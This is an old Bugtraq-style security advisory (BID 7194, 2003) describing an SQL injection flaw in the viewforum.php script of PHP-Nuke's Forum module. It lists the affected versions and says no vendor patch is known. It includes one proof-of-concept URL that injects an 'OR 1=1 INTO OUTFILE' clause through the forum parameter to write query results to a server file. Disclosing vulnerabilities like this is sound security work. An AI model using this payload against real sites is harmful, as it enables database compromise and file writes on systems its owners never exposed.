PHPNuke Forum Module Viewforum.PHP SQL Injection Vulnerability

Bugtraq ID:	7194
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 25 2003 12:00AM
Updated:	Mar 25 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to PHP-Nuke Frog Man <[email protected]>.
Vulnerable:	Francisco Burzi PHP-Nuke 6.5 RC2 Francisco Burzi PHP-Nuke 6.0
Not Vulnerable:

PHPNuke Forum Module Viewforum.PHP SQL Injection Vulnerability

It has been reported that an input validation error exists in the 'viewforum.php' script included with PHPNuke as part of the Forum module. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to inject SQL commands and queries into the SQL database used by PHPNuke.

PHPNuke Forum Module Viewforum.PHP SQL Injection Vulnerability

The following proof of concept was supplied:

http://www.example.com/modules.php?op=modload&name=Forums&file=viewforum&forum='%20OR%201=1%20INTO%20OUTFILE%20'[/path]/vf.txt'/*

PHPNuke Forum Module Viewforum.PHP SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PHPNuke Forum Module Viewforum.PHP SQL Injection Vulnerability

References:

• PHP-Nuke Product Page (Francisco Burzi)
  
• PHPNuke INP Homepage (PHPNuke INP)
  
• PHP-Nuke 6.0 & 6.5RC2 SQL Injection Again (Frog Man )